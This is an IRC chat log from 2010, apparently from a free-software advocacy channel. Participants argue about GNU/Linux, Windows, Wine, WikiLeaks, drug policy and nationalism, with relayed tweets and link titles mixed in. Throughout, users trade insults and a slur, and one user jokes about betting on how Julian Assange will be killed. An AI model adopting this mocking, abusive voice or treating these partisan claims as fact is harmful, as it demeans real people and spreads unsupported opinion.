| DaemonFC | they want to talk source lines of code | Aug 02 22:48 |
| -BNtwitter/#boycottnovell-[wikileaks] RT: @karlrove Will President Obama stop WikiLeaks -- or sit back and do nothing? http://bit.ly/cK61Cx | Aug 02 22:48 | |
| TechrightsBot | Title: Twitter / Karl Rove: Another good read @marcthi ... .::. Size~: 11.71 KB | Aug 02 22:48 |
| DaemonFC | they count lines of white space | Aug 02 22:48 |
| DaemonFC | and comments | Aug 02 22:48 |
| cubezzz3 | comments are important | Aug 02 22:49 |
| DaemonFC | and most of it is unimportant and not even included with most Linux distros | Aug 02 22:49 |
| MinceR | once your boss gives you a piece of code without comments, you'll start to value them | Aug 02 22:49 |
| MinceR | even if you're just a clueless m$ fanboy now :> | Aug 02 22:49 |
| cubezzz3 | believe me, comments are good to have | Aug 02 22:49 |
| DaemonFC | yeah, but you could include foo.c and have 1 million lines of foofoofoofoofoo...... | Aug 02 22:49 |
| DaemonFC | and easily get to a "million line" program | Aug 02 22:50 |
| DaemonFC | B-) | Aug 02 22:50 |
| schestowitz | Nope | Aug 02 22:50 |
| MinceR | so you're claiming now that's GNU? | Aug 02 22:50 |
| cubezzz3 | people usually don't write enough comments | Aug 02 22:50 |
| schestowitz | The program is compiled | Aug 02 22:50 |
| MinceR | i wonder why all distros are using it then | Aug 02 22:50 |
| cubezzz3 | just write your own OS ;-) | Aug 02 22:50 |
| cubezzz3 | then you'll be happy | Aug 02 22:51 |
| MinceR | why does GNU/Linux have a larger market share than the free BSD-s if it's just filler? | Aug 02 22:51 |
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| DaemonFC | why does Windows have 100 times as many users as Linux? | Aug 02 22:51 |
| cubezzz3 | I have to say it's the GPL | Aug 02 22:51 |
| schestowitz | MinceR: BSD would use Apple to say it's them | Aug 02 22:51 |
| MinceR | or did someone lie to us and a C compiler and libc and Unix commandline utilities are unnecessary? | Aug 02 22:51 |
| DaemonFC | Windows is obviously better | Aug 02 22:51 |
| DaemonFC | because people use it | Aug 02 22:51 |
| DaemonFC | B-) | Aug 02 22:51 |
| MinceR | DaemonFC: you're an idiot. | Aug 02 22:51 |
| schestowitz | And parts of Windows too | Aug 02 22:51 |
| schestowitz | networking | Aug 02 22:51 |
| cubezzz3 | no, not this argument, please... | Aug 02 22:51 |
| MinceR | DaemonFC: but go on, make a distro that has extra .c files with only empty lines in them | Aug 02 22:51 |
| schestowitz | DaemonFC: many people also use prostitutes | Aug 02 22:52 |
| MinceR | or /* DaemonFC wrote this line */ a few million times | Aug 02 22:52 |
| cubezzz3 | I'll talk about xlib programming if you keep on going :) | Aug 02 22:52 |
| MinceR | i'm sure it will be exactly the same as the GNU Project | Aug 02 22:52 |
| MinceR | oh, wait | Aug 02 22:52 |
| schestowitz | It doesn't make them better; au contraire | Aug 02 22:52 |
| DaemonFC | then the FSF is fairly Hitleresque with their software | Aug 02 22:52 |
| MinceR | lol | Aug 02 22:52 |
| DaemonFC | and brings a lot of forks on themselves | Aug 02 22:52 |
| MinceR | DaemonFC: congratulations, you've lost | Aug 02 22:52 |
| DaemonFC | which they proceed to complain of | Aug 02 22:52 |
| DaemonFC | daemonf.c | Aug 02 22:52 |
| DaemonFC | B-) | Aug 02 22:53 |
| MinceR | or even better, daemonfc.h | Aug 02 22:53 |
| cubezzz3 | people say they hate this and they hate than but they never seem to be able to say they like anything | Aug 02 22:53 |
| MinceR | 9001 billion lines of that comment | Aug 02 22:53 |
| DaemonFC | that's some good head.....er | Aug 02 22:53 |
| DaemonFC | lol | Aug 02 22:53 |
| MinceR | include it in every object code you make a package for | Aug 02 22:53 |
| MinceR | and then call it the DaemonFC | Aug 02 22:53 |
| MinceR | since you've written most of the lines of code | Aug 02 22:53 |
| DaemonFC | GNU Linux spam is spam | Aug 02 22:53 |
| DaemonFC | :) | Aug 02 22:53 |
| MinceR | and then watch the entire Free Software community point at you and laugh | Aug 02 22:54 |
| DaemonFC | and it's even more arrogant and unwieldy than just calling the whole thing Linux | Aug 02 22:54 |
| DaemonFC | because it's really KDE/X/GNU/Linux | Aug 02 22:54 |
| cubezzz3 | time for DaemonFC to switch to MenuetOS :) | Aug 02 22:54 |
| DaemonFC | and you're still leaving people out | Aug 02 22:54 |
| MinceR | especially on headless servers, right? | Aug 02 22:54 |
| MinceR | there's so much X on there | Aug 02 22:54 |
| MinceR | and especially KDE and GNOME | Aug 02 22:54 |
| schestowitz | cubezzz3: it's still developed? | Aug 02 22:54 |
| cubezzz3 | I think so | Aug 02 22:54 |
| DaemonFC | then GNU Linux is claiming that Linux is a product of GNU | Aug 02 22:55 |
| schestowitz | Android just uses Linux | Aug 02 22:55 |
| MinceR | DaemonFC: no it isn't | Aug 02 22:55 |
| DaemonFC | thus inferring they have something that's self-hosting and works well | Aug 02 22:55 |
| MinceR | DaemonFC: "GNU/Linux" means "the GNU system with the Linux kernel" | Aug 02 22:55 |
| cubezzz3 | you use gcc? then you're using GNU | Aug 02 22:55 |
| DaemonFC | Linux/GNU | Aug 02 22:55 |
| MinceR | Android has just as much Linux as Debian | Aug 02 22:55 |
| MinceR | yet Android is a crippled piece of shit | Aug 02 22:56 |
| DaemonFC | I'm using Linux with some GNU stuff in tow | Aug 02 22:56 |
| schestowitz | cubezzz3: without gcc you can't quite compile Linux | Aug 02 22:56 |
| cubezzz3 | there's a video for MenuetOS... I'll post the URL | Aug 02 22:56 |
| DaemonFC | :) | Aug 02 22:56 |
| schestowitz | So without GNU there's no Linux | Aug 02 22:56 |
| cubezzz3 | right | Aug 02 22:56 |
| DaemonFC | clang can compile Linux | Aug 02 22:56 |
| schestowitz | It doesn't though | Aug 02 22:56 |
| MinceR | i wonder how LLVM is going to run a kernel | Aug 02 22:56 |
| schestowitz | You could also use prprietary compilers to link and compile it | Aug 02 22:57 |
| schestowitz | Maybe even make it work faster that way | Aug 02 22:57 |
| schestowitz | IIRC RHEL uses some other good compiler | Aug 02 22:57 |
| MinceR | ICC? | Aug 02 22:57 |
| cubezzz3 | you might be able to use ICC yeah :) | Aug 02 22:57 |
| schestowitz | MinceR: depends on arch? | Aug 02 22:57 |
| -BNtwitter/#boycottnovell-[wikileaks] Rules to curb civilian casualties lead to fewer attacks on US troops | Tribune http://bit.ly/9yETXY | Aug 02 22:57 | |
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| cubezzz3 | schestowitz, - "24.06.2010 M64 0.94B released - More supported TV-tuners & MPlayer 0.50" | Aug 02 22:58 |
| cubezzz3 | that's pretty recent | Aug 02 22:58 |
| schestowitz | Julian become quite a celeb by just leaks army stuff | Aug 02 22:58 |
| schestowitz | *came | Aug 02 22:58 |
| schestowitz | *leaking | Aug 02 22:58 |
| MinceR | it's important work though | Aug 02 22:58 |
| MinceR | you can't have democracy without accountability | Aug 02 22:58 |
| MinceR | you can't have accountability without openness | Aug 02 22:59 |
| MinceR | this is also one of the reasons why freedom of speech is important | Aug 02 22:59 |
| DaemonFC | mmhm | Aug 02 22:59 |
| DaemonFC | when will the CIA off him? | Aug 02 22:59 |
| DaemonFC | :) | Aug 02 22:59 |
| MinceR | of course it wouldn't matter in Airstrip One because there's no democracy there | Aug 02 22:59 |
| MinceR | and soon there won't be any here either | Aug 02 22:59 |
| MinceR | DaemonFC: do you have a bottle of champagne for the occasion? | Aug 02 23:00 |
| schestowitz | In Soviet Russia, CIA arms Taliban | Aug 02 23:00 |
| schestowitz | Before they 'rebrand' | Aug 02 23:00 |
| DaemonFC | MinceR, no, but I am taking bets on what kind of accident he has | Aug 02 23:00 |
| DaemonFC | falling down the stairs? | Aug 02 23:01 |
| DaemonFC | slipping in the shower? | Aug 02 23:01 |
| schestowitz | Hey, maybe Julian will get older docs | Aug 02 23:01 |
| DaemonFC | overdosing on pills? | Aug 02 23:01 |
| DaemonFC | car wreck? | Aug 02 23:01 |
| schestowitz | Then we can put "peace Nobel pricze winner" Kissinger in prison | Aug 02 23:01 |
| schestowitz | Tony Blair already has his behind on fire | Aug 02 23:01 |
| schestowitz | That "peace champion" | Aug 02 23:01 |
| schestowitz | But Julian doesn't have the British intelligence docs yet | Aug 02 23:02 |
| schestowitz | DaemonFC: maybe he already gets death threats from fans of Bush :-) | Aug 02 23:02 |
| schestowitz | Not enough funds for private guards | Aug 02 23:02 |
| DaemonFC | he's going to be suicided | Aug 02 23:02 |
| DaemonFC | or something | Aug 02 23:02 |
| DaemonFC | just wait | Aug 02 23:02 |
| schestowitz | It won't help | Aug 02 23:03 |
| schestowitz | He has a circle of friends | Aug 02 23:03 |
| schestowitz | One of whom (Applebaum of something) just got arrested | Aug 02 23:03 |
| -BNtwitter/#boycottnovell-[wikileaks] Mass spying on US-250Mil IPs: Project Vigilant | Salon http://bit.ly/c1GcoY | Aug 02 23:03 | |
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| schestowitz | He went into the rogue state | Aug 02 23:03 |
| MinceR | DaemonFC: he is not the last non-redneck left in Yankeestan | Aug 02 23:03 |
| schestowitz | Going back home to campus | Aug 02 23:03 |
| MinceR | DaemonFC: there still are a few people left who respect freedom | Aug 02 23:04 |
| MinceR | (not just their own) | Aug 02 23:04 |
| schestowitz | Hehe | Aug 02 23:04 |
| schestowitz | Uephemisms | Aug 02 23:04 |
| schestowitz | "Project Vigilant " | Aug 02 23:04 |
| DaemonFC | freedom is a euphemism | Aug 02 23:04 |
| DaemonFC | a pernicious one | Aug 02 23:04 |
| DaemonFC | :) | Aug 02 23:05 |
| MinceR | DaemonFC is an euphemism | Aug 02 23:05 |
| schestowitz | "Eternal vigilance" is the price of our suppression | Aug 02 23:05 |
| schestowitz | *Euphemisms | Aug 02 23:05 |
| MinceR | DaemonFC: no, only authoritarianists like to hijack the term | Aug 02 23:05 |
| MinceR | that doesn't change its meaning | Aug 02 23:05 |
| MinceR | schestowitz: eternal war | Aug 02 23:05 |
| MinceR | oops | Aug 02 23:06 |
| MinceR | perpetual war. | Aug 02 23:06 |
| schestowitz | "We've always been in war with Absurdistan" | Aug 02 23:06 |
| cubezzz3 | right :) | Aug 02 23:06 |
| MinceR | War is Peace, Freedom is Slavery, Ignorance is Strength | Aug 02 23:06 |
| MinceR | schestowitz: there's no oil in Absurdistan, afaik | Aug 02 23:06 |
| DaemonFC | All animals are equal | Aug 02 23:06 |
| DaemonFC | some are more equal than others | Aug 02 23:07 |
| DaemonFC | B-) | Aug 02 23:07 |
| MinceR | at least not in places that are worth exploiting yet | Aug 02 23:07 |
| schestowitz | Did you see that "Jap" poster? | Aug 02 23:07 |
| schestowitz | About taking days off? | Aug 02 23:07 |
| MinceR | DaemonFC: four legs good, two legs better | Aug 02 23:07 |
| cubezzz3 | I heard a positively Orwellian comment the other day | Aug 02 23:07 |
| schestowitz | They used wars to take people's days off | Aug 02 23:07 |
| schestowitz | Always some war|depression to overwork people | Aug 02 23:07 |
| cubezzz3 | "The most humane thing to do to the aquatic animals is to use lethal traps" | Aug 02 23:07 |
| schestowitz | Enter their houses and open drawers as part of "War on drugs" | Aug 02 23:07 |
| cubezzz3 | referring to Urban wildlife | Aug 02 23:07 |
| DaemonFC | http://a.imageshack.us/img98/3306/dscf0473.jpg | Aug 02 23:07 |
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| MinceR | War on Liberty^WTerror | Aug 02 23:07 |
| DaemonFC | da comrade! | Aug 02 23:07 |
| DaemonFC | hehe | Aug 02 23:08 |
| cubezzz3 | We have net freedom though | Aug 02 23:08 |
| MinceR | War on Privacy^WDrugs | Aug 02 23:08 |
| MinceR | cubezzz3: for a while | Aug 02 23:08 |
| schestowitz | DaemonFC: commie! | Aug 02 23:08 |
| MinceR | http://en.wikipedia.org/wiki/Perpetual_war | Aug 02 23:09 |
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| DaemonFC | http://a.imageshack.us/img220/2566/takedayoffupdike.jpg | Aug 02 23:09 |
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| DaemonFC | hehe | Aug 02 23:09 |
| schestowitz | DaemonFC: lol | Aug 02 23:09 |
| DaemonFC | http://a.imageshack.us/img64/2667/dscf2846r.jpg | Aug 02 23:10 |
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| DaemonFC | B-) | Aug 02 23:10 |
| schestowitz | DaemonFC: next thing you know he'll be coming 'round your house to dine with Jabba | Aug 02 23:10 |
| schestowitz | DaemonFC: you have a small gun | Aug 02 23:11 |
| MinceR | lol | Aug 02 23:11 |
| DaemonFC | http://a.imageshack.us/img411/8357/picture57n.jpg | Aug 02 23:12 |
| schestowitz | http://www.muktware.com/blog/28/2010/256 | Aug 02 23:12 |
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| DaemonFC | http://a.imageshack.us/img195/7940/picture54f.jpg | Aug 02 23:12 |
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| schestowitz | DaemonFC: we know. You like Vista 7 | Aug 02 23:12 |
| MinceR | moar boring winblows screenshots | Aug 02 23:12 |
| MinceR | buzz marketing, you're doing it wrong | Aug 02 23:12 |
| schestowitz | DaemonFC lives in a flat with 4 items | Aug 02 23:13 |
| schestowitz | bed, gun, Jabba, PC | Aug 02 23:13 |
| MinceR | what happened to all the winblows boxes? | Aug 02 23:13 |
| cubezzz3 | converted perhaps? | Aug 02 23:13 |
| schestowitz | There's one | Aug 02 23:13 |
| MinceR | if m$ thinks the Yahoo!-Google deal in japan is anticompetitive, what does it think about the Yahoo!-m$ deal everywhere else? | Aug 02 23:14 |
| schestowitz | MinceR: when DaemonFC h can't bring anything | Aug 02 23:14 |
| DaemonFC | http://a.imageshack.us/img96/3682/42970745.png | Aug 02 23:14 |
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| MinceR | "that's different, because we...er... are allowed to do everything, that's right" | Aug 02 23:14 |
| DaemonFC | "Hello Ryan, back again I see!" | Aug 02 23:14 |
| DaemonFC | hehe | Aug 02 23:14 |
| MinceR | "it's ok if we do it, you see" | Aug 02 23:15 |
| schestowitz | Not a laptop, no guns on planes, no bed, no cats | Aug 02 23:15 |
| MinceR | ooh, moar winblows screenshots | Aug 02 23:15 |
| MinceR | just the thing this channel needs | Aug 02 23:15 |
| cubezzz3 | just out of curiousity, is anyone here using not Linux and not windows? | Aug 02 23:15 |
| schestowitz | Buzz marketing | Aug 02 23:15 |
| MinceR | depends on the device | Aug 02 23:15 |
| DaemonFC | I'm on Suse | Aug 02 23:15 |
| DaemonFC | that's something in between, right? | Aug 02 23:15 |
| DaemonFC | :) | Aug 02 23:15 |
| schestowitz | Ballnux | Aug 02 23:15 |
| *MinceR is using Symbian on his PDA/Phone | Aug 02 23:15 | |
| schestowitz | Sybian is getting Silver Lie | Aug 02 23:16 |
| schestowitz | Soon you might be able to view the area with it | Aug 02 23:16 |
| MinceR | yay | Aug 02 23:16 |
| MinceR | it already got Qt, i think that's more interesting :> | Aug 02 23:16 |
| schestowitz | Kan't wait, kan you? | Aug 02 23:16 |
| MinceR | i can't wait to get a decent pda/phone with a truly open OS | Aug 02 23:16 |
| cubezzz3 | hrmmm | Aug 02 23:16 |
| DaemonFC | hmmm | Aug 02 23:17 |
| DaemonFC | Oblivion installer fails on Wine 1.3 | Aug 02 23:17 |
| cubezzz3 | zaurus, for PDA | Aug 02 23:17 |
| MinceR | with a digital compass and a wired stereo headset adaptor | Aug 02 23:17 |
| schestowitz | What is Symbian | Aug 02 23:17 |
| MinceR | though Nokia is killing the latter apparently | Aug 02 23:17 |
| MinceR | Zaurus is dead | Aug 02 23:17 |
| MinceR | schestowitz: a mobile OS | Aug 02 23:17 |
| schestowitz | Is that what Murodck call when he married Simba? | Aug 02 23:17 |
| MinceR | lol | Aug 02 23:17 |
| schestowitz | He's still working on Solaris, AFAIK | Aug 02 23:18 |
| cubezzz3 | 486 is dead, and I still use it :) | Aug 02 23:18 |
| schestowitz | He's very quiet in Sun and ORCL | Aug 02 23:18 |
| DaemonFC | Why does Zypper have to refresh repositories to delete software? | Aug 02 23:18 |
| MinceR | Slow Larry's | Aug 02 23:18 |
| MinceR | FTFY | Aug 02 23:18 |
| schestowitz | cubezzz3: get MMX!! | Aug 02 23:18 |
| schestowitz | It's really, really fast | Aug 02 23:18 |
| schestowitz | You can play larger videos at 15 fps | Aug 02 23:19 |
| cubezzz3 | whoa, MMX, that's fancy stuff! :) | Aug 02 23:19 |
| schestowitz | Yeah | Aug 02 23:19 |
| schestowitz | I remember when I got one | Aug 02 23:19 |
| Chips_B_Malroy | yeah and MP3's will play better on that 486 than when Vista first came out | Aug 02 23:19 |
| MinceR | lol | Aug 02 23:20 |
| cubezzz3 | I can't wait for Vista 486 edition | Aug 02 23:20 |
| MinceR | lol | Aug 02 23:20 |
| MinceR | it won't arrive before Vista ARM edition | Aug 02 23:20 |
| MinceR | (and i'm not talking about winblows Phone 7 :> ) | Aug 02 23:20 |
| schestowitz | it does run.. on a cluster of them | Aug 02 23:20 |
| Chips_B_Malroy | Vista (clean) slate | Aug 02 23:20 |
| schestowitz | Clusterfunk Edition | Aug 02 23:20 |
| DaemonFC | why is OpenSuse so damned fast? | Aug 02 23:21 |
| MinceR | it's deleted so damned quickly | Aug 02 23:21 |
| MinceR | to get rid of the stupid | Aug 02 23:21 |
| schestowitz | DaemonFC: It runs away from novell? | Aug 02 23:21 |
| MinceR | schestowitz: nah, clusters are Rocket Science to m$ | Aug 02 23:21 |
| DaemonFC | Novell should move to Iowa | Aug 02 23:21 |
| DaemonFC | so they can watch OpenSuse run away for weeks | Aug 02 23:21 |
| MinceR | it won't happen until they steal the necessary code from FreeBSD | Aug 02 23:21 |
| DaemonFC | :D | Aug 02 23:21 |
| schestowitz | DaemonFC: or Detroit | Aug 02 23:22 |
| schestowitz | Its stock will go HIGH | Aug 02 23:22 |
| MinceR | there's weed in detroit? | Aug 02 23:22 |
| schestowitz | It's a STEAL | Aug 02 23:22 |
| schestowitz | For the kids | Aug 02 23:27 |
| MinceR | wait, wrong kind of high | Aug 02 23:27 |
| schestowitz | Cookies and all... | Aug 02 23:27 |
| schestowitz | http://tinyogg.com/watch/fuVML/ | Aug 02 23:27 |
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| schestowitz | http://identi.ca/conversation/44517611#notice-44834995 "@schestowitz I defend Stallman a lot but man... I'm 14. I could see that happen to me man, if that really happened?" | Aug 02 23:27 |
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| schestowitz | http://identi.ca/conversation/44517611#notice-44835051\ "I don't see how one could possibly defend that :/" | Aug 02 23:27 |
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| schestowitz | v | Aug 02 23:27 |
| schestowitz | he's often quoted our of context by those who daemonise/trap/vex him up, you need to see the full video | Aug 02 23:27 |
| *schestowitz never did drugs, except alcohol and caffeine and "legal" stuff | Aug 02 23:27 | |
| schestowitz | Did you know that Carl Sagan lobbied for legalising pot? | Aug 02 23:27 |
| DaemonFC | hmmm | Aug 02 23:27 |
| DaemonFC | Oblivion setup crashes in Wine on OpenSuse | Aug 02 23:27 |
| DaemonFC | GCC 4.5 strikes again I think | Aug 02 23:27 |
| DaemonFC | maybe Crossover Games will run it | Aug 02 23:27 |
| schestowitz | Turns out he smoked it a lot in his home | Aug 02 23:27 |
| schestowitz | While doing his work and all, as a professor. Anonymously he also published articles about legalisation | Aug 02 23:27 |
| schestowitz | Not that I ever used the thing.... | Aug 02 23:27 |
| -BNi/#boycottnovell-[ender2070/@ender2070] Hoping to test out Calculate Linux Desktop (Based on Gentoo). I'll see how nice it is and report back. http://ur1.ca/0zik0 | Aug 02 23:27 | |
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| schestowitz | Why is allcohol legal? | Aug 02 23:27 |
| schestowitz | Imagine if it were not... | Aug 02 23:27 |
| MinceR | because it's the western narcotic of choice | Aug 02 23:27 |
| MinceR | along with nicotine | Aug 02 23:27 |
| schestowitz | $$ | Aug 02 23:27 |
| MinceR | since other (different, therefore evil) people used different drugs, those drugs must be different, therefore evil | Aug 02 23:28 |
| schestowitz | Yummy... nicotine,... lots of money.. easy to tax too | Aug 02 23:28 |
| MinceR | so they must be banned | Aug 02 23:28 |
| MinceR | while ethanol and nicotine can be taxed | Aug 02 23:28 |
| schestowitz | Yes | Aug 02 23:28 |
| schestowitz | I hard that too, that it became a classes-based decision | Aug 02 23:28 |
| MinceR | nevermind that they all fuck up brain chemistry and other things | Aug 02 23:28 |
| schestowitz | Classification of drugs depended on the class (in society) that used them | Aug 02 23:29 |
| schestowitz | MinceR: that's a feature though | Aug 02 23:29 |
| schestowitz | It makes people dumb and make them die before they reach pension agew | Aug 02 23:29 |
| MinceR | nevermind that those two are among the worse drugs, according to data that were published in The Lancet | Aug 02 23:29 |
| schestowitz | Big feature to those in power | Aug 02 23:30 |
| MinceR | "makes"? | Aug 02 23:30 |
| schestowitz | Yes | Aug 02 23:30 |
| MinceR | with most of the kids, it would be quite the feat to make them stupid | Aug 02 23:30 |
| schestowitz | Less inclined to absorb knowledge | Aug 02 23:30 |
| schestowitz | Then you give them page 3 of the Sun and some football | Aug 02 23:30 |
| MinceR | indoctrination and teaching them to be assholes already does that | Aug 02 23:30 |
| schestowitz | They memorise names of athletes and celebs, not names of elements | Aug 02 23:31 |
| MinceR | slightly older kids do much of the latter | Aug 02 23:31 |
| MinceR | making sure that most humans will be unable to behave in a civilized manner | Aug 02 23:31 |
| schestowitz | But this way you have an excuse to send more canon fodder tot he army | Aug 02 23:31 |
| -BNtwitter/#boycottnovell-[wikileaks] Should the US kidnap WikiLeaks founder Julian Assange? | Time http://bit.ly/9QFpnj Vote no: http://bit.ly/cpxJWC | Aug 02 23:31 | |
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| MinceR | indoctrination into not valuing intelligence and knowledge starts early | Aug 02 23:31 |
| MinceR | especially in "religious" families | Aug 02 23:32 |
| MinceR | not just cannon fodder | Aug 02 23:32 |
| MinceR | ideal wage slaves and ideal consumers | Aug 02 23:32 |
| MinceR | http://en.wikipedia.org/wiki/File:Rational_scale_to_assess_the_harm_of_drugs_%28mean_physical_harm_and_mean_dependence%29.svg | Aug 02 23:32 |
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| -BNtwitter/#boycottnovell-[schestowitz] RT @wikileaks Should the US kidnap WikiLeaks founder Julian Assange? | Time http://bit.ly/9QFpnj Vote no: http://bit.ly/cpxJWC | Aug 02 23:33 | |
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| schestowitz | MinceR: interesting graph, bookmarked | Aug 02 23:35 |
| DaemonFC | I can probably nab a copy of Wine built for OpenSuse 11.2 | Aug 02 23:35 |
| Chips_B_Malroy | I got wine 1.3 for Mepis, but haven't installed it yet | Aug 02 23:36 |
| DaemonFC | the build for Suse 11.2 likely uses GCC 4.4 or earlier | Aug 02 23:36 |
| -BNtwitter/#boycottnovell-[_goblin] Users are sticking to Windows XP - http://tinyurl.com/2dolqmu #microsoft #mvp #mvpbuzz #windows #vista #windows7 #xp | Aug 02 23:36 | |
| TechrightsBot | Title: Users are sticking to windows xp - The Inquirer .::. Size~: 85.95 KB | Aug 02 23:36 |
| DaemonFC | version of GCC used to build Wine can cause problems with the software you try to load in Wine | Aug 02 23:36 |
| schestowitz | DaemonFC advertises not staying with XP | Aug 02 23:37 |
| Chips_B_Malroy | Not sure what this uses, its for Mepis 8.5. But the 1.2 version, some users said it worked ok on 8.0 kde 3.5 | Aug 02 23:37 |
| schestowitz | He even posts screenshots here.... "l;ook at me, I use VIsta7" | Aug 02 23:37 |
| MinceR | "look how 1337 my vista7 desktop is!" *show utterly boring and retarded screenshot* | Aug 02 23:39 |
| MinceR | "derp derp" *shows an even more boring vista7 screenshot* | Aug 02 23:39 |
| schestowitz | Better than "I would not go that far" | Aug 02 23:40 |
| Chips_B_Malroy | I had to fix XP recently at a relatives house. It was weird, no malware, no corrupted files, it was just broken, no taskbar or icons, did a repair install and it fixed. It was on a dual boot system with Linux | Aug 02 23:40 |
| -BNtwitter/#boycottnovell-[wikileaks] When is it right to leak "national security" secrets? http://bit.ly/9mGX5v | Aug 02 23:40 | |
| TechrightsBot | Title: WikiLeaks: When is it 'right' to leak national security secrets? - CSMonitor.com .::. Size~: 64.86 KB | Aug 02 23:40 |
| MinceR | "i would not go far" is still better than *joins* "hay, look at my m$ apologist comments on a former nerd news site now overrun by m$ and crApple apologists!" *quits* | Aug 02 23:41 |
| schestowitz | http://www.tomsguide.com/us/nexus-one-android-ubuntu-linux,news-7408.html | Aug 02 23:41 |
| TechrightsBot | Title: Sighted: Nexus One Running Ubuntu .::. Size~: 71.88 KB | Aug 02 23:41 |
| Chips_B_Malroy | The better question is, what is a national secret. | Aug 02 23:41 |
| schestowitz | "national security" - what is the translation of the term? | Aug 02 23:41 |
| Chips_B_Malroy | or rather what should be | Aug 02 23:41 |
| MinceR | what's this "nation" business? | Aug 02 23:41 |
| DaemonFC | reporting bugs isn't productive | Aug 02 23:41 |
| DaemonFC | if it's not something affecting a developer, they brush it off | Aug 02 23:41 |
| Chips_B_Malroy | yes, ms knows this | Aug 02 23:41 |
| MinceR | "a random group of people we tell are similar to each other but different from others with no rational basis so we can send them to kill those others and take their stuff for us"? | Aug 02 23:41 |
| schestowitz | [23:41] <MinceR> what's this "nation" business? | Aug 02 23:42 |
| schestowitz | Earth was divided into nations | Aug 02 23:42 |
| schestowitz | Not continents | Aug 02 23:42 |
| MinceR | or "a random team we make up so we can deal with our insecurity together"? | Aug 02 23:42 |
| schestowitz | One species drew out a map | Aug 02 23:42 |
| schestowitz | Then it displaced and relocated some elements with many electrons | Aug 02 23:42 |
| schestowitz | It dubbed them metals | Aug 02 23:43 |
| MinceR | http://www.sinfest.net/archive_page.php?comicID=2022 | Aug 02 23:43 |
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| schestowitz | ANd it used them to obstruct animals' movement | Aug 02 23:43 |
| MinceR | animals of its own species or of other species? | Aug 02 23:43 |
| schestowitz | MinceR: nation is a large cult | Aug 02 23:43 |
| schestowitz | Like Catholicism and Judaism are cults | Aug 02 23:44 |
| MinceR | "nation", tribe, cult, all the same bullshit | Aug 02 23:44 |
| schestowitz | If you managed to get past a certain size threshold then you shed off the "cult" status | Aug 02 23:44 |
| schestowitz | [23:43] <MinceR> animals of its own species or of other species? | Aug 02 23:44 |
| schestowitz | It's all the same | Aug 02 23:44 |
| schestowitz | Just watch the DNA | Aug 02 23:44 |
| schestowitz | Even vegetation is very similar | Aug 02 23:45 |
| schestowitz | It can pollinate beyond borders though | Aug 02 23:45 |
| schestowitz | The only nations we need are continents | Aug 02 23:45 |
| schestowitz | Natually defined barriers | Aug 02 23:45 |
| schestowitz | "we're always been in war with eurasia" | Aug 02 23:45 |
| schestowitz | 5/6 continents are also good for avoiding monopoly | Aug 02 23:46 |
| MinceR | those small differences are significant | Aug 02 23:46 |
| schestowitz | A market with 5 competitors would be good | Aug 02 23:46 |
| schestowitz | And use Antarctica for reguilators | Aug 02 23:46 |
| MinceR | they seem to mean being able to function in an ecosystem vs destroying it | Aug 02 23:46 |
| schestowitz | MinceR: not to an alien | Aug 02 23:46 |
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| schestowitz | MinceR: thriving lead to perishment | Aug 02 23:47 |
| schestowitz | Not just nuclear weapon | Aug 02 23:47 |
| schestowitz | Like overeating | Aug 02 23:47 |
| schestowitz | See Easter Island for example | Aug 02 23:47 |
| schestowitz | You grow and grow and grow and then everyone dies all at once | Aug 02 23:47 |
| schestowitz | A long-sustaining population would have social control against inflation | Aug 02 23:47 |
| -BNtwitter/#boycottnovell-[wikileaks] Theissen is a torture advocate, but in TIME jargon, he's just a "harsh interrogation booster" http://bit.ly/a49Qjv | Aug 02 23:48 | |
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| schestowitz | [23:48] <TechrightsBot> Title: Warning! | There might be a problem with the requested link .::. Size~: 5.98 KB | Aug 02 23:50 |
| schestowitz | Conspiracy! The government !! | Aug 02 23:50 |
| MinceR | yes, humanity grows and grows and grows and then everything dies all at once | Aug 02 23:52 |
| -BNi/#boycottnovell-[ender2070/@ender2070] RT @schestowitz RT @wikileaks Should the US kidnap WikiLeaks founder Julian Assange? | Time http://bit.ly/9QFpnj Vote no: http://bit.ly/ ... | Aug 02 23:52 | |
| TechrightsBot | Title: Should The U.S. Kidnap WikiLeaks Founder Julian Assange? - Swampland - TIME.com .::. Size~: 70.15 KB | Aug 02 23:52 |
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| MinceR | "I'd like to share a revelation that I've had during my time here. It came to me when I tried to classify your species and I realized that you're not actually mammals. Every mammal on this planet instinctively develops a natural equilibrium with the surrounding environment but you humans do not. | Aug 02 23:53 |
| MinceR | You move to an area and you multiply and multiply until every natural resource is consumed and the only way you can survive is to spread to another area. There is another organism on this planet that follows the same pattern. Do you know what it is? | Aug 02 23:53 |
| MinceR | A virus. Human beings are a disease, a cancer of this planet. You're a plague and we are the cure." | Aug 02 23:53 |
| cubezzz3 | but Smith was a virus too :) | Aug 02 23:53 |
| cubezzz3 | pot kettle black | Aug 02 23:54 |
| schestowitz | But now we have contraception | Aug 02 23:54 |
| schestowitz | We also have bankers | Aug 02 23:54 |
| cubezzz3 | we've had it since the 60's | Aug 02 23:54 |
| schestowitz | And to pay back debt population size must increase | Aug 02 23:54 |
| cubezzz3 | half a century | Aug 02 23:54 |
| MinceR | cubezzz3: Send a maniac to catch one. | Aug 02 23:54 |
| cubezzz3 | "are you a programmer?" ;-) | Aug 02 23:55 |
| MinceR | (better quote: Send a maniac to catch a maniac.) | Aug 02 23:55 |
| cubezzz3 | anti-virus virus? | Aug 02 23:55 |
| schestowitz | AVIVA | Aug 02 23:55 |
| cubezzz3 | you need real AV software to combat your fake AV software :) | Aug 02 23:56 |
| cubezzz3 | sometimes I wonder if botnets are as bad as they say | Aug 02 23:56 |
| schestowitz | Windows Update is a botnet | Aug 02 23:57 |
| MinceR | skype is a botnet | Aug 02 23:58 |
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